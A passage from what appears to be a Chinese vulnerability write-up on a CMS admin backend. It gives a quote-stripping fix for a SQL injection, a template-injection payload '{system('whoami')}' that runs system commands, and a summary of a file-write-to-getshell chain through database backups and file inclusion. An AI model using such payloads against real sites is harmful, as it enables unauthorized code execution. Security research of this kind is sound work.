去除掉$table变量中的双引号,在拼接处的前一行加上$table = str_replace("\"","",$table);

后台模板getshell

这个漏洞就比较简单,简单列出,感兴趣的师傅自行尝试即可,

{system('whoami')}

即可看到效果。

后记

本文中记录的最有价值的点是后台写文件getshell,数据库备份流程中存在了部分内容可控的文件,尽管写入的文件的内容受到限制不便于直接利用,也可以通过SQL注入中的思路进行绕过,最终配合文件包含实现getshell。


文章来源: https://xz.aliyun.com/t/12566
如有侵权请联系:admin#unsafe.sh